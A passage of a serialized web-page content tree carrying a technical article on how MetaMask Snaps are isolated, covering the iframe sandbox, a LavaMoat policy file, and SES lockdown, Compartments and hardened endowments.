",{"type":24,"tag":147,"props":42242,"children":42243},{"style":247},[42244],{"type":29,"value":42064},{"type":24,"tag":147,"props":42246,"children":42247},{"style":235},[42248],{"type":29,"value":546},{"type":24,"tag":147,"props":42250,"children":42251},{"style":247},[42252],{"type":29,"value":490},{"type":24,"tag":147,"props":42254,"children":42255},{"style":235},[42256],{"type":29,"value":23906},{"type":24,"tag":147,"props":42258,"children":42259},{"class":149,"line":350},[42260],{"type":24,"tag":147,"props":42261,"children":42262},{"style":235},[42263],{"type":29,"value":11496},{"type":24,"tag":25,"props":42265,"children":42266},{},[42267,42269,42275,42277,42284],{"type":29,"value":42268},"Here the iframe is created via ",{"type":24,"tag":80,"props":42270,"children":42272},{"className":42271},[],[42273],{"type":29,"value":42274},"createWindow",{"type":29,"value":42276},", which is defined in snaps-utils ",{"type":24,"tag":2773,"props":42278,"children":42281},{"href":42279,"rel":42280},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[2777],[42282],{"type":29,"value":42283},"package",{"type":29,"value":978},{"type":24,"tag":137,"props":42286,"children":42288},{"className":41531,"code":42287,"language":41533,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[42289],{"type":24,"tag":80,"props":42290,"children":42291},{"__ignoreMap":7},[42292,42335,42373,42410,42417,42437,42475,42482,42519],{"type":24,"tag":147,"props":42293,"children":42294},{"class":149,"line":150},[42295,42299,42304,42308,42313,42317,42322,42326,42331],{"type":24,"tag":147,"props":42296,"children":42297},{"style":218},[42298],{"type":29,"value":15276},{"type":24,"tag":147,"props":42300,"children":42301},{"style":247},[42302],{"type":29,"value":42303}," iframe",{"type":24,"tag":147,"props":42305,"children":42306},{"style":241},[42307],{"type":29,"value":651},{"type":24,"tag":147,"props":42309,"children":42310},{"style":247},[42311],{"type":29,"value":42312}," document",{"type":24,"tag":147,"props":42314,"children":42315},{"style":235},[42316],{"type":29,"value":87},{"type":24,"tag":147,"props":42318,"children":42319},{"style":229},[42320],{"type":29,"value":42321},"createElement",{"type":24,"tag":147,"props":42323,"children":42324},{"style":235},[42325],{"type":29,"value":480},{"type":24,"tag":147,"props":42327,"children":42328},{"style":3534},[42329],{"type":29,"value":42330},"'iframe'",{"type":24,"tag":147,"props":42332,"children":42333},{"style":235},[42334],{"type":29,"value":1473},{"type":24,"tag":147,"props":42336,"children":42337},{"class":149,"line":160},[42338,42343,42347,42352,42356,42361,42365,42369],{"type":24,"tag":147,"props":42339,"children":42340},{"style":247},[42341],{"type":29,"value":42342},"    iframe",{"type":24,"tag":147,"props":42344,"children":42345},{"style":235},[42346],{"type":29,"value":87},{"type":24,"tag":147,"props":42348,"children":42349},{"style":229},[42350],{"type":29,"value":42351},"setAttribute",{"type":24,"tag":147,"props":42353,"children":42354},{"style":235},[42355],{"type":29,"value":480},{"type":24,"tag":147,"props":42357,"children":42358},{"style":3534},[42359],{"type":29,"value":42360},"'id'",{"type":24,"tag":147,"props":42362,"children":42363},{"style":235},[42364],{"type":29,"value":546},{"type":24,"tag":147,"props":42366,"children":42367},{"style":247},[42368],{"type":29,"value":9111},{"type":24,"tag":147,"props":42370,"children":42371},{"style":235},[42372],{"type":29,"value":1473},{"type":24,"tag":147,"props":42374,"children":42375},{"class":149,"line":169},[42376,42380,42384,42388,42392,42397,42401,42406],{"type":24,"tag":147,"props":42377,"children":42378},{"style":247},[42379],{"type":29,"value":42342},{"type":24,"tag":147,"props":42381,"children":42382},{"style":235},[42383],{"type":29,"value":87},{"type":24,"tag":147,"props":42385,"children":42386},{"style":229},[42387],{"type":29,"value":42351},{"type":24,"tag":147,"props":42389,"children":42390},{"style":235},[42391],{"type":29,"value":480},{"type":24,"tag":147,"props":42393,"children":42394},{"style":3534},[42395],{"type":29,"value":42396},"'data-testid'",{"type":24,"tag":147,"props":42398,"children":42399},{"style":235},[42400],{"type":29,"value":546},{"type":24,"tag":147,"props":42402,"children":42403},{"style":3534},[42404],{"type":29,"value":42405},"'snaps-iframe'",{"type":24,"tag":147,"props":42407,"children":42408},{"style":235},[42409],{"type":29,"value":1473},{"type":24,"tag":147,"props":42411,"children":42412},{"class":149,"line":178},[42413],{"type":24,"tag":147,"props":42414,"children":42415},{"emptyLinePlaceholder":16},[42416],{"type":29,"value":314},{"type":24,"tag":147,"props":42418,"children":42419},{"class":149,"line":187},[42420,42424,42428,42433],{"type":24,"tag":147,"props":42421,"children":42422},{"style":321},[42423],{"type":29,"value":4759},{"type":24,"tag":147,"props":42425,"children":42426},{"style":235},[42427],{"type":29,"value":408},{"type":24,"tag":147,"props":42429,"children":42430},{"style":247},[42431],{"type":29,"value":42432},"sandbox",{"type":24,"tag":147,"props":42434,"children":42435},{"style":235},[42436],{"type":29,"value":505},{"type":24,"tag":147,"props":42438,"children":42439},{"class":149,"line":196},[42440,42445,42449,42453,42457,42462,42466,42471],{"type":24,"tag":147,"props":42441,"children":42442},{"style":247},[42443],{"type":29,"value":42444},"      iframe",{"type":24,"tag":147,"props":42446,"children":42447},{"style":235},[42448],{"type":29,"value":87},{"type":24,"tag":147,"props":42450,"children":42451},{"style":229},[42452],{"type":29,"value":42351},{"type":24,"tag":147,"props":42454,"children":42455},{"style":235},[42456],{"type":29,"value":480},{"type":24,"tag":147,"props":42458,"children":42459},{"style":3534},[42460],{"type":29,"value":42461},"'sandbox'",{"type":24,"tag":147,"props":42463,"children":42464},{"style":235},[42465],{"type":29,"value":546},{"type":24,"tag":147,"props":42467,"children":42468},{"style":3534},[42469],{"type":29,"value":42470},"'allow-scripts'",{"type":24,"tag":147,"props":42472,"children":42473},{"style":235},[42474],{"type":29,"value":1473},{"type":24,"tag":147,"props":42476,"children":42477},{"class":149,"line":205},[42478],{"type":24,"tag":147,"props":42479,"children":42480},{"style":235},[42481],{"type":29,"value":1952},{"type":24,"tag":147,"props":42483,"children":42484},{"class":149,"line":214},[42485,42489,42493,42497,42501,42506,42510,42515],{"type":24,"tag":147,"props":42486,"children":42487},{"style":247},[42488],{"type":29,"value":42342},{"type":24,"tag":147,"props":42490,"children":42491},{"style":235},[42492],{"type":29,"value":87},{"type":24,"tag":147,"props":42494,"children":42495},{"style":229},[42496],{"type":29,"value":42351},{"type":24,"tag":147,"props":42498,"children":42499},{"style":235},[42500],{"type":29,"value":480},{"type":24,"tag":147,"props":42502,"children":42503},{"style":3534},[42504],{"type":29,"value":42505},"'src'",{"type":24,"tag":147,"props":42507,"children":42508},{"style":235},[42509],{"type":29,"value":546},{"type":24,"tag":147,"props":42511,"children":42512},{"style":247},[42513],{"type":29,"value":42514},"uri",{"type":24,"tag":147,"props":42516,"children":42517},{"style":235},[42518],{"type":29,"value":1473},{"type":24,"tag":147,"props":42520,"children":42521},{"class":149,"line":272},[42522,42526,42530,42534,42538,42543,42547,42552],{"type":24,"tag":147,"props":42523,"children":42524},{"style":247},[42525],{"type":29,"value":40274},{"type":24,"tag":147,"props":42527,"children":42528},{"style":235},[42529],{"type":29,"value":87},{"type":24,"tag":147,"props":42531,"children":42532},{"style":247},[42533],{"type":29,"value":38000},{"type":24,"tag":147,"props":42535,"children":42536},{"style":235},[42537],{"type":29,"value":87},{"type":24,"tag":147,"props":42539,"children":42540},{"style":229},[42541],{"type":29,"value":42542},"appendChild",{"type":24,"tag":147,"props":42544,"children":42545},{"style":235},[42546],{"type":29,"value":480},{"type":24,"tag":147,"props":42548,"children":42549},{"style":247},[42550],{"type":29,"value":42551},"iframe",{"type":24,"tag":147,"props":42553,"children":42554},{"style":235},[42555],{"type":29,"value":1473},{"type":24,"tag":25,"props":42557,"children":42558},{},[42559],{"type":29,"value":42560},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":43,"props":42562,"children":42564},{"id":42563},"lavamoat-against-supply-chain-attacks-layer-2",[42565],{"type":29,"value":42566},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":25,"props":42568,"children":42569},{},[42570],{"type":29,"value":42571},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":25,"props":42573,"children":42574},{},[42575,42577,42582],{"type":29,"value":42576},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":80,"props":42578,"children":42580},{"className":42579},[],[42581],{"type":29,"value":4926},{"type":29,"value":42583},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":25,"props":42585,"children":42586},{},[42587],{"type":29,"value":42588},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":25,"props":42590,"children":42591},{},[42592,42594,42601],{"type":29,"value":42593},"This is how a Policy file related to the iframes ",{"type":24,"tag":2773,"props":42595,"children":42598},{"href":42596,"rel":42597},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[2777],[42599],{"type":29,"value":42600},"looks",{"type":29,"value":978},{"type":24,"tag":137,"props":42603,"children":42605},{"className":39596,"code":42604,"language":39598,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[42606],{"type":24,"tag":80,"props":42607,"children":42608},{"__ignoreMap":7},[42609,42622,42634,42654,42674,42694,42714,42734,42754,42774,42791,42799,42811,42831,42847,42854],{"type":24,"tag":147,"props":42610,"children":42611},{"class":149,"line":150},[42612,42617],{"type":24,"tag":147,"props":42613,"children":42614},{"style":3534},[42615],{"type":29,"value":42616},"\"@metamask/post-message-stream\"",{"type":24,"tag":147,"props":42618,"children":42619},{"style":235},[42620],{"type":29,"value":42621},": {\n",{"type":24,"tag":147,"props":42623,"children":42624},{"class":149,"line":160},[42625,42630],{"type":24,"tag":147,"props":42626,"children":42627},{"style":247},[42628],{"type":29,"value":42629},"      \"globals\"",{"type":24,"tag":147,"props":42631,"children":42632},{"style":235},[42633],{"type":29,"value":42621},{"type":24,"tag":147,"props":42635,"children":42636},{"class":149,"line":169},[42637,42642,42646,42650],{"type":24,"tag":147,"props":42638,"children":42639},{"style":247},[42640],{"type":29,"value":42641},"        \"MessageEvent.prototype\"",{"type":24,"tag":147,"props":42643,"children":42644},{"style":235},[42645],{"type":29,"value":20943},{"type":24,"tag":147,"props":42647,"children":42648},{"style":218},[42649],{"type":29,"value":9619},{"type":24,"tag":147,"props":42651,"children":42652},{"style":235},[42653],{"type":29,"value":1549},{"type":24,"tag":147,"props":42655,"children":42656},{"class":149,"line":178},[42657,42662,42666,42670],{"type":24,"tag":147,"props":42658,"children":42659},{"style":247},[42660],{"type":29,"value":42661},"        \"WorkerGlobalScope\"",{"type":24,"tag":147,"props":42663,"children":42664},{"style":235},[42665],{"type":29,"value":20943},{"type":24,"tag":147,"props":42667,"children":42668},{"style":218},[42669],{"type":29,"value":9619},{"type":24,"tag":147,"props":42671,"children":42672},{"style":235},[42673],{"type":29,"value":1549},{"type":24,"tag":147,"props":42675,"children":42676},{"class":149,"line":187},[42677,42682,42686,42690],{"type":24,"tag":147,"props":42678,"children":42679},{"style":247},[42680],{"type":29,"value":42681},"        \"addEventListener\"",{"type":24,"tag":147,"props":42683,"children":42684},{"style":235},[42685],{"type":29,"value":20943},{"type":24,"tag":147,"props":42687,"children":42688},{"style":218},[42689],{"type":29,"value":9619},{"type":24,"tag":147,"props":42691,"children":42692},{"style":235},[42693],{"type":29,"value":1549},{"type":24,"tag":147,"props":42695,"children":42696},{"class":149,"line":196},[42697,42702,42706,42710],{"type":24,"tag":147,"props":42698,"children":42699},{"style":247},[42700],{"type":29,"value":42701},"        \"browser\"",{"type":24,"tag":147,"props":42703,"children":42704},{"style":235},[42705],{"type":29,"value":20943},{"type":24,"tag":147,"props":42707,"children":42708},{"style":218},[42709],{"type":29,"value":9619},{"type":24,"tag":147,"props":42711,"children":42712},{"style":235},[42713],{"type":29,"value":1549},{"type":24,"tag":147,"props":42715,"children":42716},{"class":149,"line":205},[42717,42722,42726,42730],{"type":24,"tag":147,"props":42718,"children":42719},{"style":247},[42720],{"type":29,"value":42721},"        \"chrome\"",{"type":24,"tag":147,"props":42723,"children":42724},{"style":235},[42725],{"type":29,"value":20943},{"type":24,"tag":147,"props":42727,"children":42728},{"style":218},[42729],{"type":29,"value":9619},{"type":24,"tag":147,"props":42731,"children":42732},{"style":235},[42733],{"type":29,"value":1549},{"type":24,"tag":147,"props":42735,"children":42736},{"class":149,"line":214},[42737,42742,42746,42750],{"type":24,"tag":147,"props":42738,"children":42739},{"style":247},[42740],{"type":29,"value":42741},"        \"location.origin\"",{"type":24,"tag":147,"props":42743,"children":42744},{"style":235},[42745],{"type":29,"value":20943},{"type":24,"tag":147,"props":42747,"children":42748},{"style":218},[42749],{"type":29,"value":9619},{"type":24,"tag":147,"props":42751,"children":42752},{"style":235},[42753],{"type":29,"value":1549},{"type":24,"tag":147,"props":42755,"children":42756},{"class":149,"line":272},[42757,42762,42766,42770],{"type":24,"tag":147,"props":42758,"children":42759},{"style":247},[42760],{"type":29,"value":42761},"        \"postMessage\"",{"type":24,"tag":147,"props":42763,"children":42764},{"style":235},[42765],{"type":29,"value":20943},{"type":24,"tag":147,"props":42767,"children":42768},{"style":218},[42769],{"type":29,"value":9619},{"type":24,"tag":147,"props":42771,"children":42772},{"style":235},[42773],{"type":29,"value":1549},{"type":24,"tag":147,"props":42775,"children":42776},{"class":149,"line":281},[42777,42782,42786],{"type":24,"tag":147,"props":42778,"children":42779},{"style":247},[42780],{"type":29,"value":42781},"        \"removeEventListener\"",{"type":24,"tag":147,"props":42783,"children":42784},{"style":235},[42785],{"type":29,"value":20943},{"type":24,"tag":147,"props":42787,"children":42788},{"style":218},[42789],{"type":29,"value":42790},"true\n",{"type":24,"tag":147,"props":42792,"children":42793},{"class":149,"line":299},[42794],{"type":24,"tag":147,"props":42795,"children":42796},{"style":235},[42797],{"type":29,"value":42798},"      },\n",{"type":24,"tag":147,"props":42800,"children":42801},{"class":149,"line":308},[42802,42807],{"type":24,"tag":147,"props":42803,"children":42804},{"style":247},[42805],{"type":29,"value":42806},"      \"packages\"",{"type":24,"tag":147,"props":42808,"children":42809},{"style":235},[42810],{"type":29,"value":42621},{"type":24,"tag":147,"props":42812,"children":42813},{"class":149,"line":317},[42814,42819,42823,42827],{"type":24,"tag":147,"props":42815,"children":42816},{"style":247},[42817],{"type":29,"value":42818},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":147,"props":42820,"children":42821},{"style":235},[42822],{"type":29,"value":20943},{"type":24,"tag":147,"props":42824,"children":42825},{"style":218},[42826],{"type":29,"value":9619},{"type":24,"tag":147,"props":42828,"children":42829},{"style":235},[42830],{"type":29,"value":1549},{"type":24,"tag":147,"props":42832,"children":42833},{"class":149,"line":332},[42834,42839,42843],{"type":24,"tag":147,"props":42835,"children":42836},{"style":247},[42837],{"type":29,"value":42838},"        \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":147,"props":42840,"children":42841},{"style":235},[42842],{"type":29,"value":20943},{"type":24,"tag":147,"props":42844,"children":42845},{"style":218},[42846],{"type":29,"value":42790},{"type":24,"tag":147,"props":42848,"children":42849},{"class":149,"line":350},[42850],{"type":24,"tag":147,"props":42851,"children":42852},{"style":235},[42853],{"type":29,"value":18282},{"type":24,"tag":147,"props":42855,"children":42856},{"class":149,"line":358},[42857],{"type":24,"tag":147,"props":42858,"children":42859},{"style":235},[42860],{"type":29,"value":1952},{"type":24,"tag":25,"props":42862,"children":42863},{},[42864,42866,42872,42874,42880,42882,42888,42890,42896,42897,42903],{"type":29,"value":42865},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":80,"props":42867,"children":42869},{"className":42868},[],[42870],{"type":29,"value":42871},"globals",{"type":29,"value":42873}," section, is the ",{"type":24,"tag":80,"props":42875,"children":42877},{"className":42876},[],[42878],{"type":29,"value":42879},"packages",{"type":29,"value":42881}," segment. This section permits the ",{"type":24,"tag":80,"props":42883,"children":42885},{"className":42884},[],[42886],{"type":29,"value":42887},"@metamask/post-message-stream",{"type":29,"value":42889},"package to exclusively interact with the package ",{"type":24,"tag":80,"props":42891,"children":42893},{"className":42892},[],[42894],{"type":29,"value":42895},"@metamask/utils",{"type":29,"value":855},{"type":24,"tag":80,"props":42898,"children":42900},{"className":42899},[],[42901],{"type":29,"value":42902},"readable-stream",{"type":29,"value":42904},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":25,"props":42906,"children":42907},{},[42908,42910,42916],{"type":29,"value":42909},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":80,"props":42911,"children":42913},{"className":42912},[],[42914],{"type":29,"value":42915},"lockdown",{"type":29,"value":42917}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":43,"props":42919,"children":42921},{"id":42920},"secure-ecmascript-ses-sandbox-layer-3",[42922],{"type":29,"value":42923},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":25,"props":42925,"children":42926},{},[42927,42929,42936],{"type":29,"value":42928},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":2773,"props":42930,"children":42933},{"href":42931,"rel":42932},"https://github.com/endojs/endo/tree/master/packages/ses",[2777],[42934],{"type":29,"value":42935},"Secure EcmaScript (SES)",{"type":29,"value":42937}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":112,"props":42939,"children":42941},{"id":42940},"ses-fundamentals",[42942],{"type":29,"value":42943},"SES Fundamentals",{"type":24,"tag":2848,"props":42945,"children":42946},{"id":42915},[42947],{"type":29,"value":42948},"Lockdown",{"type":24,"tag":25,"props":42950,"children":42951},{},[42952,42954,42960],{"type":29,"value":42953},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":80,"props":42955,"children":42957},{"className":42956},[],[42958],{"type":29,"value":42959},"lockdown()",{"type":29,"value":42961}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":2674,"props":42963,"children":42964},{},[42965,42978],{"type":24,"tag":2678,"props":42966,"children":42967},{},[42968,42970,42976],{"type":29,"value":42969},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":80,"props":42971,"children":42973},{"className":42972},[],[42974],{"type":29,"value":42975},"Object.freeze",{"type":29,"value":42977}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":2678,"props":42979,"children":42980},{},[42981,42983,42989,42991,42997],{"type":29,"value":42982},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":80,"props":42984,"children":42986},{"className":42985},[],[42987],{"type":29,"value":42988},"trace",{"type":29,"value":42990}," attribute in an ",{"type":24,"tag":80,"props":42992,"children":42994},{"className":42993},[],[42995],{"type":29,"value":42996},"Error",{"type":29,"value":42998}," object, which contains the stack trace of the error.",{"type":24,"tag":2848,"props":43000,"children":43002},{"id":43001},"compartment",[43003],{"type":29,"value":43004},"Compartment",{"type":24,"tag":25,"props":43006,"children":43007},{},[43008,43010,43016,43018,43023],{"type":29,"value":43009},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":80,"props":43011,"children":43013},{"className":43012},[],[43014],{"type":29,"value":43015},"globalThis",{"type":29,"value":43017}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":80,"props":43019,"children":43021},{"className":43020},[],[43022],{"type":29,"value":43015},{"type":29,"value":43024}," context is incapable of tampering with security.",{"type":24,"tag":137,"props":43026,"children":43028},{"className":41214,"code":43027,"language":41216,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[43029],{"type":24,"tag":80,"props":43030,"children":43031},{"__ignoreMap":7},[43032,43061,43094],{"type":24,"tag":147,"props":43033,"children":43034},{"class":149,"line":150},[43035,43039,43044,43048,43052,43057],{"type":24,"tag":147,"props":43036,"children":43037},{"style":218},[43038],{"type":29,"value":15276},{"type":24,"tag":147,"props":43040,"children":43041},{"style":247},[43042],{"type":29,"value":43043}," c",{"type":24,"tag":147,"props":43045,"children":43046},{"style":241},[43047],{"type":29,"value":651},{"type":24,"tag":147,"props":43049,"children":43050},{"style":218},[43051],{"type":29,"value":37533},{"type":24,"tag":147,"props":43053,"children":43054},{"style":229},[43055],{"type":29,"value":43056}," Compartment",{"type":24,"tag":147,"props":43058,"children":43059},{"style":235},[43060],{"type":29,"value":9295},{"type":24,"tag":147,"props":43062,"children":43063},{"class":149,"line":160},[43064,43068,43072,43076,43080,43085,43089],{"type":24,"tag":147,"props":43065,"children":43066},{"style":247},[43067],{"type":29,"value":140},{"type":24,"tag":147,"props":43069,"children":43070},{"style":235},[43071],{"type":29,"value":87},{"type":24,"tag":147,"props":43073,"children":43074},{"style":247},[43075],{"type":29,"value":43015},{"type":24,"tag":147,"props":43077,"children":43078},{"style":241},[43079],{"type":29,"value":37022},{"type":24,"tag":147,"props":43081,"children":43082},{"style":247},[43083],{"type":29,"value":43084}," globalThis",{"type":24,"tag":147,"props":43086,"children":43087},{"style":235},[43088],{"type":29,"value":22832},{"type":24,"tag":147,"props":43090,"children":43091},{"style":154},[43092],{"type":29,"value":43093},"// false\n",{"type":24,"tag":147,"props":43095,"children":43096},{"class":149,"line":169},[43097,43101,43105,43109,43113,43118,43122,43127,43131],{"type":24,"tag":147,"props":43098,"children":43099},{"style":247},[43100],{"type":29,"value":140},{"type":24,"tag":147,"props":43102,"children":43103},{"style":235},[43104],{"type":29,"value":87},{"type":24,"tag":147,"props":43106,"children":43107},{"style":247},[43108],{"type":29,"value":43015},{"type":24,"tag":147,"props":43110,"children":43111},{"style":235},[43112],{"type":29,"value":87},{"type":24,"tag":147,"props":43114,"children":43115},{"style":247},[43116],{"type":29,"value":43117},"JSON",{"type":24,"tag":147,"props":43119,"children":43120},{"style":241},[43121],{"type":29,"value":37022},{"type":24,"tag":147,"props":43123,"children":43124},{"style":247},[43125],{"type":29,"value":43126}," JSON",{"type":24,"tag":147,"props":43128,"children":43129},{"style":235},[43130],{"type":29,"value":22832},{"type":24,"tag":147,"props":43132,"children":43133},{"style":154},[43134],{"type":29,"value":43135},"// true\n",{"type":24,"tag":25,"props":43137,"children":43138},{},[43139,43141,43147,43148,43154,43156,43161],{"type":29,"value":43140},"Compartment also changes the behaviour of evaluators functions such as ",{"type":24,"tag":80,"props":43142,"children":43144},{"className":43143},[],[43145],{"type":29,"value":43146},"eval",{"type":29,"value":2887},{"type":24,"tag":80,"props":43149,"children":43151},{"className":43150},[],[43152],{"type":29,"value":43153},"Function",{"type":29,"value":43155}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":80,"props":43157,"children":43159},{"className":43158},[],[43160],{"type":29,"value":43015},{"type":29,"value":87},{"type":24,"tag":2848,"props":43163,"children":43165},{"id":43164},"endowments",[43166],{"type":29,"value":43167},"Endowments",{"type":24,"tag":25,"props":43169,"children":43170},{},[43171,43173,43177,43179,43184],{"type":29,"value":43172},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":8545,"props":43174,"children":43175},{},[43176],{"type":29,"value":43164},{"type":29,"value":43178},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":80,"props":43180,"children":43182},{"className":43181},[],[43183],{"type":29,"value":43015},{"type":29,"value":43185},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":25,"props":43187,"children":43188},{},[43189,43191,43197],{"type":29,"value":43190},"In addition, SES provides the ",{"type":24,"tag":80,"props":43192,"children":43194},{"className":43193},[],[43195],{"type":29,"value":43196},"harden()",{"type":29,"value":43198}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":112,"props":43200,"children":43202},{"id":43201},"setting-up-snaps-execution-env",[43203],{"type":29,"value":43204},"Setting up Snaps Execution Env",{"type":24,"tag":25,"props":43206,"children":43207},{},[43208],{"type":29,"value":43209},"When starting a snap, the setup follows these steps:",{"type":24,"tag":2674,"props":43211,"children":43212},{},[43213],{"type":24,"tag":2678,"props":43214,"children":43215},{},[43216],{"type":24,"tag":10949,"props":43217,"children":43218},{},[43219,43221],{"type":29,"value":43220},"Create endowments based on snap ",{"type":24,"tag":2773,"props":43222,"children":43225},{"href":43223,"rel":43224},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[2777],[43226],{"type":29,"value":43227},"permissions",{"type":24,"tag":137,"props":43229,"children":43231},{"className":41214,"code":43230,"language":41216,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[43232],{"type":24,"tag":80,"props":43233,"children":43234},{"__ignoreMap":7},[43235,43285,43297,43308,43320,43332],{"type":24,"tag":147,"props":43236,"children":43237},{"class":149,"line":150},[43238,43242,43246,43250,43254,43259,43263,43268,43272,43276,43281],{"type":24,"tag":147,"props":43239,"children":43240},{"style":218},[43241],{"type":29,"value":15276},{"type":24,"tag":147,"props":43243,"children":43244},{"style":235},[43245],{"type":29,"value":15207},{"type":24,"tag":147,"props":43247,"children":43248},{"style":247},[43249],{"type":29,"value":43164},{"type":24,"tag":147,"props":43251,"children":43252},{"style":235},[43253],{"type":29,"value":546},{"type":24,"tag":147,"props":43255,"children":43256},{"style":247},[43257],{"type":29,"value":43258},"teardown",{"type":24,"tag":147,"props":43260,"children":43261},{"style":235},[43262],{"type":29,"value":20943},{"type":24,"tag":147,"props":43264,"children":43265},{"style":247},[43266],{"type":29,"value":43267},"endowmentTeardown",{"type":24,"tag":147,"props":43269,"children":43270},{"style":235},[43271],{"type":29,"value":41803},{"type":24,"tag":147,"props":43273,"children":43274},{"style":241},[43275],{"type":29,"value":369},{"type":24,"tag":147,"props":43277,"children":43278},{"style":229},[43279],{"type":29,"value":43280}," createEndowments",{"type":24,"tag":147,"props":43282,"children":43283},{"style":235},[43284],{"type":29,"value":9088},{"type":24,"tag":147,"props":43286,"children":43287},{"class":149,"line":160},[43288,43293],{"type":24,"tag":147,"props":43289,"children":43290},{"style":247},[43291],{"type":29,"value":43292},"    snap",{"type":24,"tag":147,"props":43294,"children":43295},{"style":235},[43296],{"type":29,"value":1549},{"type":24,"tag":147,"props":43298,"children":43299},{"class":149,"line":169},[43300,43304],{"type":24,"tag":147,"props":43301,"children":43302},{"style":247},[43303],{"type":29,"value":37084},{"type":24,"tag":147,"props":43305,"children":43306},{"style":235},[43307],{"type":29,"value":1549},{"type":24,"tag":147,"props":43309,"children":43310},{"class":149,"line":178},[43311,43316],{"type":24,"tag":147,"props":43312,"children":43313},{"style":247},[43314],{"type":29,"value":43315},"    snapId",{"type":24,"tag":147,"props":43317,"children":43318},{"style":235},[43319],{"type":29,"value":1549},{"type":24,"tag":147,"props":43321,"children":43322},{"class":149,"line":187},[43323,43328],{"type":24,"tag":147,"props":43324,"children":43325},{"style":247},[43326],{"type":29,"value":43327},"    _endowments",{"type":24,"tag":147,"props":43329,"children":43330},{"style":235},[43331],{"type":29,"value":1549},{"type":24,"tag":147,"props":43333,"children":43334},{"class":149,"line":196},[43335],{"type":24,"tag":147,"props":43336,"children":43337},{"style":235},[43338],{"type":29,"value":1473},{"type":24,"tag":25,"props":43340,"children":43341},{},[43342],{"type":29,"value":43343},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":25,"props":43345,"children":43346},{},[43347,43349,43355,43357,43363],{"type":29,"value":43348},"One clear example is the ",{"type":24,"tag":80,"props":43350,"children":43352},{"className":43351},[],[43353],{"type":29,"value":43354},"endowment:network-access",{"type":29,"value":43356}," permission, that adds the ",{"type":24,"tag":80,"props":43358,"children":43360},{"className":43359},[],[43361],{"type":29,"value":43362},"fetch()",{"type":29,"value":43364}," function to the endowments.",{"type":24,"tag":25,"props":43366,"children":43367},{},[43368,43370,43376],{"type":29,"value":43369},"All endowments are protected with the ",{"type":24,"tag":80,"props":43371,"children":43373},{"className":43372},[],[43374],{"type":29,"value":43375},"harden",{"type":29,"value":43377}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":2674,"props":43379,"children":43380},{"start":160},[43381],{"type":24,"tag":2678,"props":43382,"children":43383},{},[43384],{"type":24,"tag":10949,"props":43385,"children":43386},{},[43387,43389],{"type":29,"value":43388},"Create the snap 